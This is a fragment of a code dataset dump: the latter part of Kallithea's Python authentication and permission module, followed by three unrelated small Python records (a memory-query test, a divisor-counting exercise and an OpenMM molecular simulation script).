permissions[GK][rg_k]\n        if not explicit:\n            p = _choose_perm(p, cur_perm)\n        permissions[GK][rg_k] = p\n\n    #======================================================================\n    # !! PERMISSIONS FOR USER GROUPS !!\n    #======================================================================\n    # user group for user group permissions\n    user_group_user_groups_perms = \\\n     Session().query(UserGroupUserGroupToPerm, Permission, UserGroup)\\\n     .join((UserGroup, UserGroupUserGroupToPerm.target_user_group_id\n            == UserGroup.users_group_id))\\\n     .join((Permission, UserGroupUserGroupToPerm.permission_id\n            == Permission.permission_id))\\\n     .join((UserGroupMember, UserGroupUserGroupToPerm.user_group_id\n            == UserGroupMember.users_group_id))\\\n     .filter(UserGroupMember.user_id == uid)\\\n     .all()\n\n    multiple_counter = collections.defaultdict(int)\n    for perm in user_group_user_groups_perms:\n        g_k = perm.UserGroupUserGroupToPerm.target_user_group.users_group_name\n        multiple_counter[g_k] += 1\n        p = perm.Permission.permission_name\n        cur_perm = permissions[UK][g_k]\n        if multiple_counter[g_k] > 1:\n            p = _choose_perm(p, cur_perm)\n        permissions[UK][g_k] = p\n\n    #user explicit permission for user groups\n    user_user_groups_perms = Permission.get_default_user_group_perms(uid)\n    for perm in user_user_groups_perms:\n        u_k = perm.UserUserGroupToPerm.user_group.users_group_name\n        p = perm.Permission.permission_name\n        cur_perm = permissions[UK][u_k]\n        if not explicit:\n            p = _choose_perm(p, cur_perm)\n        permissions[UK][u_k] = p\n\n    return permissions\n\n\ndef allowed_api_access(controller_name, whitelist=None, api_key=None):\n    \"\"\"\n    Check if given controller_name is in whitelist API access\n    \"\"\"\n    if not whitelist:\n        from kallithea import CONFIG\n        whitelist = aslist(CONFIG.get('api_access_controllers_whitelist'),\n                           sep=',')\n        log.debug('whitelist of API access is: %s' % (whitelist))\n    api_access_valid = controller_name in whitelist\n    if api_access_valid:\n        log.debug('controller:%s is in API whitelist' % (controller_name))\n    else:\n        msg = 'controller: %s is *NOT* in API whitelist' % (controller_name)\n        if api_key:\n            #if we use API key and don't have access it's a warning\n            log.warning(msg)\n        else:\n            log.debug(msg)\n    return api_access_valid\n\n\nclass AuthUser(object):\n    \"\"\"\n    A simple object that handles all attributes of user in Kallithea\n\n    It does lookup based on API key,given user, or user present in session\n    Then it fills all required information for such user. It also checks if\n    anonymous access is enabled and if so, it returns default user as logged in\n    \"\"\"\n\n    def __init__(self, user_id=None, api_key=None, username=None, ip_addr=None):\n\n        self.user_id = user_id\n        self._api_key = api_key\n\n        self.api_key = None\n        self.username = username\n        self.ip_addr = ip_addr\n        self.name = ''\n        self.lastname = ''\n        self.email = ''\n        self.is_authenticated = False\n        self.admin = False\n        self.inherit_default_permissions = False\n\n        self.propagate_data()\n        self._instance = None\n\n    @LazyProperty\n    def permissions(self):\n        return self.get_perms(user=self, cache=False)\n\n    @property\n    def api_keys(self):\n        return self.get_api_keys()\n\n    def propagate_data(self):\n        user_model = UserModel()\n        self.anonymous_user = User.get_default_user(cache=True)\n        is_user_loaded = False\n\n        # lookup by userid\n        if self.user_id is not None and self.user_id != self.anonymous_user.user_id:\n            log.debug('Auth User lookup by USER ID %s' % self.user_id)\n            is_user_loaded = user_model.fill_data(self, user_id=self.user_id)\n\n        # try go get user by api key\n        elif self._api_key and self._api_key != self.anonymous_user.api_key:\n            log.debug('Auth User lookup by API KEY %s' % self._api_key)\n            is_user_loaded = user_model.fill_data(self, api_key=self._api_key)\n\n        # lookup by username\n        elif self.username:\n            log.debug('Auth User lookup by USER NAME %s' % self.username)\n            is_user_loaded = user_model.fill_data(self, username=self.username)\n        else:\n            log.debug('No data in %s that could been used to log in' % self)\n\n        if not is_user_loaded:\n            # if we cannot authenticate user try anonymous\n            if self.anonymous_user.active:\n                user_model.fill_data(self, user_id=self.anonymous_user.user_id)\n                # then we set this user is logged in\n                self.is_authenticated = True\n            else:\n                self.user_id = None\n                self.username = None\n                self.is_authenticated = False\n\n        if not self.username:\n            self.username = 'None'\n\n        log.debug('Auth User is now %s' % self)\n\n    def get_perms(self, user, explicit=True, algo='higherwin', cache=False):\n        \"\"\"\n        Fills user permission attribute with permissions taken from database\n        works for permissions given for repositories, and for permissions that\n        are granted to groups\n\n        :param user: instance of User object from database\n        :param explicit: In case there are permissions both for user and a group\n            that user is part of, explicit flag will define if user will\n            explicitly override permissions from group, if it's False it will\n            make decision based on the algo\n        :param algo: algorithm to decide what permission should be choose if\n            it's multiple defined, eg user in two different groups. It also\n            decides if explicit flag is turned off how to specify the permission\n            for case when user is in a group + have defined separate permission\n        \"\"\"\n        user_id = user.user_id\n        user_is_admin = user.is_admin\n        user_inherit_default_permissions = user.inherit_default_permissions\n\n        log.debug('Getting PERMISSION tree')\n        compute = conditional_cache('short_term', 'cache_desc',\n                                    condition=cache, func=_cached_perms_data)\n        return compute(user_id, user_is_admin,\n                       user_inherit_default_permissions, explicit, algo)\n\n    def get_api_keys(self):\n        api_keys = [self.api_key]\n        for api_key in UserApiKeys.query()\\\n                .filter(UserApiKeys.user_id == self.user_id)\\\n                .filter(or_(UserApiKeys.expires == -1,\n                            UserApiKeys.expires >= time.time())).all():\n            api_keys.append(api_key.api_key)\n\n        return api_keys\n\n    @property\n    def is_admin(self):\n        return self.admin\n\n    @property\n    def repositories_admin(self):\n        \"\"\"\n        Returns list of repositories you're an admin of\n        \"\"\"\n        return [x[0] for x in self.permissions['repositories'].iteritems()\n                if x[1] == 'repository.admin']\n\n    @property\n    def repository_groups_admin(self):\n        \"\"\"\n        Returns list of repository groups you're an admin of\n        \"\"\"\n        return [x[0] for x in self.permissions['repositories_groups'].iteritems()\n                if x[1] == 'group.admin']\n\n    @property\n    def user_groups_admin(self):\n        \"\"\"\n        Returns list of user groups you're an admin of\n        \"\"\"\n        return [x[0] for x in self.permissions['user_groups'].iteritems()\n                if x[1] == 'usergroup.admin']\n\n    @property\n    def ip_allowed(self):\n        \"\"\"\n        Checks if ip_addr used in constructor is allowed from defined list of\n        allowed ip_addresses for user\n\n        :returns: boolean, True if ip is in allowed ip range\n        \"\"\"\n        # check IP\n        inherit = self.inherit_default_permissions\n        return AuthUser.check_ip_allowed(self.user_id, self.ip_addr,\n                                         inherit_from_default=inherit)\n\n    @classmethod\n    def check_ip_allowed(cls, user_id, ip_addr, inherit_from_default):\n        allowed_ips = AuthUser.get_allowed_ips(user_id, cache=True,\n                        inherit_from_default=inherit_from_default)\n        if check_ip_access(source_ip=ip_addr, allowed_ips=allowed_ips):\n            log.debug('IP:%s is in range of %s' % (ip_addr, allowed_ips))\n            return True\n        else:\n            log.info('Access for IP:%s forbidden, '\n                     'not in %s' % (ip_addr, allowed_ips))\n            return False\n\n    def __repr__(self):\n        return \"<AuthUser('id:%s[%s] ip:%s auth:%s')>\"\\\n            % (self.user_id, self.username, self.ip_addr, self.is_authenticated)\n\n    def set_authenticated(self, authenticated=True):\n        if self.user_id != self.anonymous_user.user_id:\n            self.is_authenticated = authenticated\n\n    def get_cookie_store(self):\n        return {'username': self.username,\n                'user_id': self.user_id,\n                'is_authenticated': self.is_authenticated}\n\n    @classmethod\n    def from_cookie_store(cls, cookie_store):\n        \"\"\"\n        Creates AuthUser from a cookie store\n\n        :param cls:\n        :param cookie_store:\n        \"\"\"\n        user_id = cookie_store.get('user_id')\n        username = cookie_store.get('username')\n        api_key = cookie_store.get('api_key')\n        return AuthUser(user_id, api_key, username)\n\n    @classmethod\n    def get_allowed_ips(cls, user_id, cache=False, inherit_from_default=False):\n        _set = set()\n\n        if inherit_from_default:\n            default_ips = UserIpMap.query().filter(UserIpMap.user ==\n                                            User.get_default_user(cache=True))\n            if cache:\n                default_ips = default_ips.options(FromCache(\"sql_cache_short\",\n                                                  \"get_user_ips_default\"))\n\n            # populate from default user\n            for ip in default_ips:\n                try:\n                    _set.add(ip.ip_addr)\n                except ObjectDeletedError:\n                    # since we use heavy caching sometimes it happens that we get\n                    # deleted objects here, we just skip them\n                    pass\n\n        user_ips = UserIpMap.query().filter(UserIpMap.user_id == user_id)\n        if cache:\n            user_ips = user_ips.options(FromCache(\"sql_cache_short\",\n                                                  \"get_user_ips_%s\" % user_id))\n\n        for ip in user_ips:\n            try:\n                _set.add(ip.ip_addr)\n            except ObjectDeletedError:\n                # since we use heavy caching sometimes it happens that we get\n                # deleted objects here, we just skip them\n                pass\n        return _set or set(['0.0.0.0/0', '::/0'])\n\n\ndef set_available_permissions(config):\n    \"\"\"\n    This function will propagate pylons globals with all available defined\n    permission given in db. We don't want to check each time from db for new\n    permissions since adding a new permission also requires application restart\n    ie. to decorate new views with the newly created permission\n\n    :param config: current pylons config instance\n\n    \"\"\"\n    log.info('getting information about all available permissions')\n    try:\n        sa = meta.Session\n        all_perms = sa.query(Permission).all()\n        config['available_permissions'] = [x.permission_name for x in all_perms]\n    finally:\n        meta.Session.remove()\n\n\n#==============================================================================\n# CHECK DECORATORS\n#==============================================================================\nclass LoginRequired(object):\n    \"\"\"\n    Must be logged in to execute this function else\n    redirect to login page\n\n    :param api_access: if enabled this checks only for valid auth token\n        and grants access based on valid token\n    \"\"\"\n\n    def __init__(self, api_access=False):\n        self.api_access = api_access\n\n    def __call__(self, func):\n        return decorator(self.__wrapper, func)\n\n    def __wrapper(self, func, *fargs, **fkwargs):\n        cls = fargs[0]\n        user = cls.authuser\n        loc = \"%s:%s\" % (cls.__class__.__name__, func.__name__)\n\n        # check if our IP is allowed\n        ip_access_valid = True\n        if not user.ip_allowed:\n            from kallithea.lib import helpers as h\n            h.flash(h.literal(_('IP %s not allowed' % (user.ip_addr))),\n                    category='warning')\n            ip_access_valid = False\n\n        # check if we used an APIKEY and it's a valid one\n        # defined whitelist of controllers which API access will be enabled\n        _api_key = request.GET.get('api_key', '')\n        api_access_valid = allowed_api_access(loc, api_key=_api_key)\n\n        # explicit controller is enabled or API is in our whitelist\n        if self.api_access or api_access_valid:\n            log.debug('Checking API KEY access for %s' % cls)\n            if _api_key and _api_key in user.api_keys:\n                api_access_valid = True\n                log.debug('API KEY ****%s is VALID' % _api_key[-4:])\n            else:\n                api_access_valid = False\n                if not _api_key:\n                    log.debug(\"API KEY *NOT* present in request\")\n                else:\n                    log.warning(\"API KEY ****%s *NOT* valid\" % _api_key[-4:])\n\n        log.debug('Checking if %s is authenticated @ %s' % (user.username, loc))\n        reason = 'RegularAuth' if user.is_authenticated else 'APIAuth'\n\n        if ip_access_valid and (user.is_authenticated or api_access_valid):\n            log.info('user %s authenticating with:%s IS authenticated on func %s '\n                     % (user, reason, loc)\n            )\n            return func(*fargs, **fkwargs)\n        else:\n            log.warning('user %s authenticating with:%s NOT authenticated on func: %s: '\n                     'IP_ACCESS:%s API_ACCESS:%s'\n                     % (user, reason, loc, ip_access_valid, api_access_valid)\n            )\n            p = url.current()\n\n            log.debug('redirecting to login page with %s' % p)\n            return redirect(url('login_home', came_from=p))\n\n\nclass NotAnonymous(object):\n    \"\"\"\n    Must be logged in to execute this function else\n    redirect to login page\"\"\"\n\n    def __call__(self, func):\n        return decorator(self.__wrapper, func)\n\n    def __wrapper(self, func, *fargs, **fkwargs):\n        cls = fargs[0]\n        self.user = cls.authuser\n\n        log.debug('Checking if user is not anonymous @%s' % cls)\n\n        anonymous = self.user.username == User.DEFAULT_USER\n\n        if anonymous:\n            p = url.current()\n\n            import kallithea.lib.helpers as h\n            h.flash(_('You need to be a registered user to '\n                      'perform this action'),\n                    category='warning')\n            return redirect(url('login_home', came_from=p))\n        else:\n            return func(*fargs, **fkwargs)\n\n\nclass PermsDecorator(object):\n    \"\"\"Base class for controller decorators\"\"\"\n\n    def __init__(self, *required_perms):\n        self.required_perms = set(required_perms)\n        self.user_perms = None\n\n    def __call__(self, func):\n        return decorator(self.__wrapper, func)\n\n    def __wrapper(self, func, *fargs, **fkwargs):\n        cls = fargs[0]\n        self.user = cls.authuser\n        self.user_perms = self.user.permissions\n        log.debug('checking %s permissions %s for %s %s',\n           self.__class__.__name__, self.required_perms, cls, self.user)\n\n        if self.check_permissions():\n            log.debug('Permission granted for %s %s' % (cls, self.user))\n            return func(*fargs, **fkwargs)\n\n        else:\n            log.debug('Permission denied for %s %s' % (cls, self.user))\n            anonymous = self.user.username == User.DEFAULT_USER\n\n            if anonymous:\n                p = url.current()\n\n                import kallithea.lib.helpers as h\n                h.flash(_('You need to be signed in to '\n                          'view this page'),\n                        category='warning')\n                return redirect(url('login_home', came_from=p))\n\n            else:\n                # redirect with forbidden ret code\n                return abort(403)\n\n    def check_permissions(self):\n        \"\"\"Dummy function for overriding\"\"\"\n        raise Exception('You have to write this function in child class')\n\n\nclass HasPermissionAllDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for all given predicates. All of them\n    have to be meet in order to fulfill the request\n    \"\"\"\n\n    def check_permissions(self):\n        if self.required_perms.issubset(self.user_perms.get('global')):\n            return True\n        return False\n\n\nclass HasPermissionAnyDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for any of given predicates. In order to\n    fulfill the request any of predicates must be meet\n    \"\"\"\n\n    def check_permissions(self):\n        if self.required_perms.intersection(self.user_perms.get('global')):\n            return True\n        return False\n\n\nclass HasRepoPermissionAllDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for all given predicates for specific\n    repository. All of them have to be meet in order to fulfill the request\n    \"\"\"\n\n    def check_permissions(self):\n        repo_name = get_repo_slug(request)\n        try:\n            user_perms = set([self.user_perms['repositories'][repo_name]])\n        except KeyError:\n            return False\n        if self.required_perms.issubset(user_perms):\n            return True\n        return False\n\n\nclass HasRepoPermissionAnyDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for any of given predicates for specific\n    repository. In order to fulfill the request any of predicates must be meet\n    \"\"\"\n\n    def check_permissions(self):\n        repo_name = get_repo_slug(request)\n        try:\n            user_perms = set([self.user_perms['repositories'][repo_name]])\n        except KeyError:\n            return False\n\n        if self.required_perms.intersection(user_perms):\n            return True\n        return False\n\n\nclass HasRepoGroupPermissionAllDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for all given predicates for specific\n    repository group. All of them have to be meet in order to fulfill the request\n    \"\"\"\n\n    def check_permissions(self):\n        group_name = get_repo_group_slug(request)\n        try:\n            user_perms = set([self.user_perms['repositories_groups'][group_name]])\n        except KeyError:\n            return False\n\n        if self.required_perms.issubset(user_perms):\n            return True\n        return False\n\n\nclass HasRepoGroupPermissionAnyDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for any of given predicates for specific\n    repository group. In order to fulfill the request any of predicates must be meet\n    \"\"\"\n\n    def check_permissions(self):\n        group_name = get_repo_group_slug(request)\n        try:\n            user_perms = set([self.user_perms['repositories_groups'][group_name]])\n        except KeyError:\n            return False\n\n        if self.required_perms.intersection(user_perms):\n            return True\n        return False\n\n\nclass HasUserGroupPermissionAllDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for all given predicates for specific\n    user group. All of them have to be meet in order to fulfill the request\n    \"\"\"\n\n    def check_permissions(self):\n        group_name = get_user_group_slug(request)\n        try:\n            user_perms = set([self.user_perms['user_groups'][group_name]])\n        except KeyError:\n            return False\n\n        if self.required_perms.issubset(user_perms):\n            return True\n        return False\n\n\nclass HasUserGroupPermissionAnyDecorator(PermsDecorator):\n    \"\"\"\n    Checks for access permission for any of given predicates for specific\n    user group. In order to fulfill the request any of predicates must be meet\n    \"\"\"\n\n    def check_permissions(self):\n        group_name = get_user_group_slug(request)\n        try:\n            user_perms = set([self.user_perms['user_groups'][group_name]])\n        except KeyError:\n            return False\n\n        if self.required_perms.intersection(user_perms):\n            return True\n        return False\n\n\n#==============================================================================\n# CHECK FUNCTIONS\n#==============================================================================\nclass PermsFunction(object):\n    \"\"\"Base function for other check functions\"\"\"\n\n    def __init__(self, *perms):\n        self.required_perms = set(perms)\n        self.user_perms = None\n        self.repo_name = None\n        self.group_name = None\n\n    def __call__(self, check_location='', user=None):\n        if not user:\n            #TODO: remove this someday,put as user as attribute here\n            user = request.user\n\n        # init auth user if not already given\n        if not isinstance(user, AuthUser):\n            user = AuthUser(user.user_id)\n\n        cls_name = self.__class__.__name__\n        check_scope = {\n            'HasPermissionAll': '',\n            'HasPermissionAny': '',\n            'HasRepoPermissionAll': 'repo:%s' % self.repo_name,\n            'HasRepoPermissionAny': 'repo:%s' % self.repo_name,\n            'HasRepoGroupPermissionAll': 'group:%s' % self.group_name,\n            'HasRepoGroupPermissionAny': 'group:%s' % self.group_name,\n        }.get(cls_name, '?')\n        log.debug('checking cls:%s %s usr:%s %s @ %s', cls_name,\n                  self.required_perms, user, check_scope,\n                  check_location or 'unspecified location')\n        if not user:\n            log.debug('Empty request user')\n            return False\n        self.user_perms = user.permissions\n        if self.check_permissions():\n            log.debug('Permission to %s granted for user: %s @ %s'\n                      % (check_scope, user,\n                         check_location or 'unspecified location'))\n            return True\n\n        else:\n            log.debug('Permission to %s denied for user: %s @ %s'\n                      % (check_scope, user,\n                         check_location or 'unspecified location'))\n            return False\n\n    def check_permissions(self):\n        \"\"\"Dummy function for overriding\"\"\"\n        raise Exception('You have to write this function in child class')\n\n\nclass HasPermissionAll(PermsFunction):\n    def check_permissions(self):\n        if self.required_perms.issubset(self.user_perms.get('global')):\n            return True\n        return False\n\n\nclass HasPermissionAny(PermsFunction):\n    def check_permissions(self):\n        if self.required_perms.intersection(self.user_perms.get('global')):\n            return True\n        return False\n\n\nclass HasRepoPermissionAll(PermsFunction):\n    def __call__(self, repo_name=None, check_location='', user=None):\n        self.repo_name = repo_name\n        return super(HasRepoPermissionAll, self).__call__(check_location, user)\n\n    def check_permissions(self):\n        if not self.repo_name:\n            self.repo_name = get_repo_slug(request)\n\n        try:\n            self._user_perms = set(\n                [self.user_perms['repositories'][self.repo_name]]\n            )\n        except KeyError:\n            return False\n        if self.required_perms.issubset(self._user_perms):\n            return True\n        return False\n\n\nclass HasRepoPermissionAny(PermsFunction):\n    def __call__(self, repo_name=None, check_location='', user=None):\n        self.repo_name = repo_name\n        return super(HasRepoPermissionAny, self).__call__(check_location, user)\n\n    def check_permissions(self):\n        if not self.repo_name:\n            self.repo_name = get_repo_slug(request)\n\n        try:\n            self._user_perms = set(\n                [self.user_perms['repositories'][self.repo_name]]\n            )\n        except KeyError:\n            return False\n        if self.required_perms.intersection(self._user_perms):\n            return True\n        return False\n\n\nclass HasRepoGroupPermissionAny(PermsFunction):\n    def __call__(self, group_name=None, check_location='', user=None):\n        self.group_name = group_name\n        return super(HasRepoGroupPermissionAny, self).__call__(check_location, user)\n\n    def check_permissions(self):\n        try:\n            self._user_perms = set(\n                [self.user_perms['repositories_groups'][self.group_name]]\n            )\n        except KeyError:\n            return False\n        if self.required_perms.intersection(self._user_perms):\n            return True\n        return False\n\n\nclass HasRepoGroupPermissionAll(PermsFunction):\n    def __call__(self, group_name=None, check_location='', user=None):\n        self.group_name = group_name\n        return super(HasRepoGroupPermissionAll, self).__call__(check_location, user)\n\n    def check_permissions(self):\n        try:\n            self._user_perms = set(\n                [self.user_perms['repositories_groups'][self.group_name]]\n            )\n        except KeyError:\n            return False\n        if self.required_perms.issubset(self._user_perms):\n            return True\n        return False\n\n\nclass HasUserGroupPermissionAny(PermsFunction):\n    def __call__(self, user_group_name=None, check_location='', user=None):\n        self.user_group_name = user_group_name\n        return super(HasUserGroupPermissionAny, self).__call__(check_location, user)\n\n    def check_permissions(self):\n        try:\n            self._user_perms = set(\n                [self.user_perms['user_groups'][self.user_group_name]]\n            )\n        except KeyError:\n            return False\n        if self.required_perms.intersection(self._user_perms):\n            return True\n        return False\n\n\nclass HasUserGroupPermissionAll(PermsFunction):\n    def __call__(self, user_group_name=None, check_location='', user=None):\n        self.user_group_name = user_group_name\n        return super(HasUserGroupPermissionAll, self).__call__(check_location, user)\n\n    def check_permissions(self):\n        try:\n            self._user_perms = set(\n                [self.user_perms['user_groups'][self.user_group_name]]\n            )\n        except KeyError:\n            return False\n        if self.required_perms.issubset(self._user_perms):\n            return True\n        return False\n\n\n#==============================================================================\n# SPECIAL VERSION TO HANDLE MIDDLEWARE AUTH\n#==============================================================================\nclass HasPermissionAnyMiddleware(object):\n    def __init__(self, *perms):\n        self.required_perms = set(perms)\n\n    def __call__(self, user, repo_name):\n        # repo_name MUST be unicode, since we handle keys in permission\n        # dict by unicode\n        repo_name = safe_unicode(repo_name)\n        usr = AuthUser(user.user_id)\n        self.user_perms = set([usr.permissions['repositories'][repo_name]])\n        self.username = user.username\n        self.repo_name = repo_name\n        return self.check_permissions()\n\n    def check_permissions(self):\n        log.debug('checking VCS protocol '\n                  'permissions %s for user:%s repository:%s', self.user_perms,\n                                                self.username, self.repo_name)\n        if self.required_perms.intersection(self.user_perms):\n            log.debug('Permission to repo: %s granted for user: %s @ %s'\n                      % (self.repo_name, self.username, 'PermissionMiddleware'))\n            return True\n        log.debug('Permission to repo: %s denied for user: %s @ %s'\n                  % (self.repo_name, self.username, 'PermissionMiddleware'))\n        return False\n\n\n#==============================================================================\n# SPECIAL VERSION TO HANDLE API AUTH\n#==============================================================================\nclass _BaseApiPerm(object):\n    def __init__(self, *perms):\n        self.required_perms = set(perms)\n\n    def __call__(self, check_location=None, user=None, repo_name=None,\n                 group_name=None):\n        cls_name = self.__class__.__name__\n        check_scope = 'user:%s' % (user)\n        if repo_name:\n            check_scope += ', repo:%s' % (repo_name)\n\n        if group_name:\n            check_scope += ', repo group:%s' % (group_name)\n\n        log.debug('checking cls:%s %s %s @ %s'\n                  % (cls_name, self.required_perms, check_scope, check_location))\n        if not user:\n            log.debug('Empty User passed into arguments')\n            return False\n\n        ## process user\n        if not isinstance(user, AuthUser):\n            user = AuthUser(user.user_id)\n        if not check_location:\n            check_location = 'unspecified'\n        if self.check_permissions(user.permissions, repo_name, group_name):\n            log.debug('Permission to %s granted for user: %s @ %s'\n                      % (check_scope, user, check_location))\n            return True\n\n        else:\n            log.debug('Permission to %s denied for user: %s @ %s'\n                      % (check_scope, user, check_location))\n            return False\n\n    def check_permissions(self, perm_defs, repo_name=None, group_name=None):\n        \"\"\"\n        implement in child class should return True if permissions are ok,\n        False otherwise\n\n        :param perm_defs: dict with permission definitions\n        :param repo_name: repo name\n        \"\"\"\n        raise NotImplementedError()\n\n\nclass HasPermissionAllApi(_BaseApiPerm):\n    def check_permissions(self, perm_defs, repo_name=None, group_name=None):\n        if self.required_perms.issubset(perm_defs.get('global')):\n            return True\n        return False\n\n\nclass HasPermissionAnyApi(_BaseApiPerm):\n    def check_permissions(self, perm_defs, repo_name=None, group_name=None):\n        if self.required_perms.intersection(perm_defs.get('global')):\n            return True\n        return False\n\n\nclass HasRepoPermissionAllApi(_BaseApiPerm):\n    def check_permissions(self, perm_defs, repo_name=None, group_name=None):\n        try:\n            _user_perms = set([perm_defs['repositories'][repo_name]])\n        except KeyError:\n            log.warning(traceback.format_exc())\n            return False\n        if self.required_perms.issubset(_user_perms):\n            return True\n        return False\n\n\nclass HasRepoPermissionAnyApi(_BaseApiPerm):\n    def check_permissions(self, perm_defs, repo_name=None, group_name=None):\n        try:\n            _user_perms = set([perm_defs['repositories'][repo_name]])\n        except KeyError:\n            log.warning(traceback.format_exc())\n            return False\n        if self.required_perms.intersection(_user_perms):\n            return True\n        return False\n\n\nclass HasRepoGroupPermissionAnyApi(_BaseApiPerm):\n    def check_permissions(self, perm_defs, repo_name=None, group_name=None):\n        try:\n            _user_perms = set([perm_defs['repositories_groups'][group_name]])\n        except KeyError:\n            log.warning(traceback.format_exc())\n            return False\n        if self.required_perms.intersection(_user_perms):\n            return True\n        return False\n\nclass HasRepoGroupPermissionAllApi(_BaseApiPerm):\n    def check_permissions(self, perm_defs, repo_name=None, group_name=None):\n        try:\n            _user_perms = set([perm_defs['repositories_groups'][group_name]])\n        except KeyError:\n            log.warning(traceback.format_exc())\n            return False\n        if self.required_perms.issubset(_user_perms):\n            return True\n        return False\n\ndef check_ip_access(source_ip, allowed_ips=None):\n    \"\"\"\n    Checks if source_ip is a subnet of any of allowed_ips.\n\n    :param source_ip:\n    :param allowed_ips: list of allowed ips together with mask\n    \"\"\"\n    from kallithea.lib import ipaddr\n    log.debug('checking if ip:%s is subnet of %s' % (source_ip, allowed_ips))\n    if isinstance(allowed_ips, (tuple, list, set)):\n        for ip in allowed_ips:\n            if ipaddr.IPAddress(source_ip) in ipaddr.IPNetwork(ip):\n                log.debug('IP %s is network %s' %\n                          (ipaddr.IPAddress(source_ip), ipaddr.IPNetwork(ip)))\n                return True\n    return False\n","repo_name":"msabramo/kallithea","sub_path":"kallithea/lib/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":47209,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"71247897061","text":"from src.hippocampus import Hippocampus, TryEmptyInput\nfrom src import file_finder\nimport os\n\ndef memory_code(file_name: str) -> None:\n    \"\"\"\n    指定したファイルのソースコードを読み込んで、記憶する。\n    \"\"\"\n    source_code = file_finder.read_file(file_name, \"src\")\n    full_path = os.path.join(\"src\", file_name)\n    print(full_path)\n    hippocampus.input_memory(full_path, source_code)\n\nif __name__ == \"__main__\":\n    hippocampus = Hippocampus()\n\n    results = hippocampus.query_memory(\"Classes for bot-to-bot conversations\", 3)\n    print(results)\n    query = f\"Classes on which {results[0]} depends\"\n    results = hippocampus.query_memory(query, 3)\n    print(results)","repo_name":"yumehiko/PlayWithGPT","sub_path":"hippocampus_test.py","file_name":"hippocampus_test.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14129112784","text":"mydic={}\r\nfor x in range(100):\r\n    factors=0\r\n    d=1\r\n    while d<=x:\r\n        if x%d==0:\r\n            factors=factors+1\r\n        d+=1\r\n    mydic[x]=factors\r\nfor k,v in mydic.items():\r\n    if v==max(mydic.values()):\r\n        print(k,\" has \",v,\" factors\")\r\n\r\n   \r\n    \r\n","repo_name":"finchnest/Python-prac-files","sub_path":"_quiz1/nums with max divisors.py","file_name":"nums with max divisors.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14134059730","text":"from simtk.openmm.app import *\nfrom simtk.openmm import *\nfrom simtk import unit\n\nfrom math import sqrt\n\n\ndef opls_lj(system):\n    forces = {system.getForce(index).__class__.__name__: system.getForce(\n        index) for index in range(system.getNumForces())}\n    nonbonded_force = forces['NonbondedForce']\n    lorentz = CustomNonbondedForce(\n        '4*epsilon*((sigma/r)^12-(sigma/r)^6); sigma=sqrt(sigma1*sigma2); epsilon=sqrt(epsilon1*epsilon2)')\n    lorentz.setNonbondedMethod(CustomNonbondedForce.CutoffPeriodic)\n    lorentz.addPerParticleParameter('sigma')\n    lorentz.addPerParticleParameter('epsilon')\n    lorentz.setCutoffDistance(nonbonded_force.getCutoffDistance())\n    lorentz.setUseSwitchingFunction(True)\n    lorentz.setSwitchingDistance(1.45 * unit.nanometer)\n    lorentz.setUseLongRangeCorrection(True)\n    # lorentz.setUseDispersionCorrection(True)\n    system.addForce(lorentz)\n    LJset = {}\n    for index in range(nonbonded_force.getNumParticles()):\n        charge, sigma, epsilon = nonbonded_force.getParticleParameters(index)\n        LJset[index] = (sigma, epsilon)\n        lorentz.addParticle([sigma, epsilon])\n        nonbonded_force.setParticleParameters(\n            index, charge, sigma, epsilon * 0)\n    for i in range(nonbonded_force.getNumExceptions()):\n        (p1, p2, q, sig, eps) = nonbonded_force.getExceptionParameters(i)\n        # ALL THE 12,13 and 14 interactions are EXCLUDED FROM CUSTOM NONBONDED\n        # FORCE\n        lorentz.addExclusion(p1, p2)\n        if eps._value != 0.0:\n            # print p1,p2,sig,eps\n            sig14 = sqrt(LJset[p1][0] * LJset[p2][0])\n            eps14 = sqrt(LJset[p1][1] * LJset[p2][1])\n            nonbonded_force.setExceptionParameters(i, p1, p2, q, sig14, eps)\n    return system\n\n\npdb = PDBFile('NewBox_PYR.pdb')\nmodeller = Modeller(pdb.topology, pdb.positions)\nforcefield = ForceField('PYR.xml')\nmodeller.addExtraParticles(forcefield)\nPDBFile.writeFile(modeller.topology, modeller.positions, open('PYR_modeller.pdb', 'w'))\nsystem = forcefield.createSystem(\n    modeller.topology, nonbondedMethod=PME, ewaldErrorTolerance=0.0005, nonbondedCutoff=1.5 * unit.nanometer)\nsystem = opls_lj(system)\n# FOR NPT\nTEMP = 298.15 * unit.kelvin\nsystem.addForce(MonteCarloBarostat(1 * unit.bar, TEMP))\nintegrator = LangevinIntegrator(TEMP, 1 / unit.picosecond, 0.001 * unit.picoseconds)\nsimulation = Simulation(modeller.topology, system, integrator)\nsimulation.context.setPositions(modeller.positions)\n# simulation.context.computeVirtualSites()\nprint('MINIMIZATION STARTED')\nsimulation.minimizeEnergy()\n# print('Energy at Minima is %3.3f kcal/mol' % (energy._value * KcalPerKJ))\nprint('MINIMIZATION DONE')\nsimulation.reporters.append(PDBReporter('output.pdb', 1000))\nsimulation.reporters.append(StateDataReporter('liquid.txt', 1000, step=True, potentialEnergy=True, temperature=True, density=True))\nsimulation.step(3000000)\nnp_equ_pos = simulation.context.getState(getPositions=True).getPositions()\nPDBFile.writeFile(simulation.topology, np_equ_pos, open('NPT_EQ_FINAL.pdb', 'w'))\n","repo_name":"qubekit/QUBEBench","sub_path":"liquid/V-site-OpenMM_PureLiquids.py","file_name":"V-site-OpenMM_PureLiquids.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
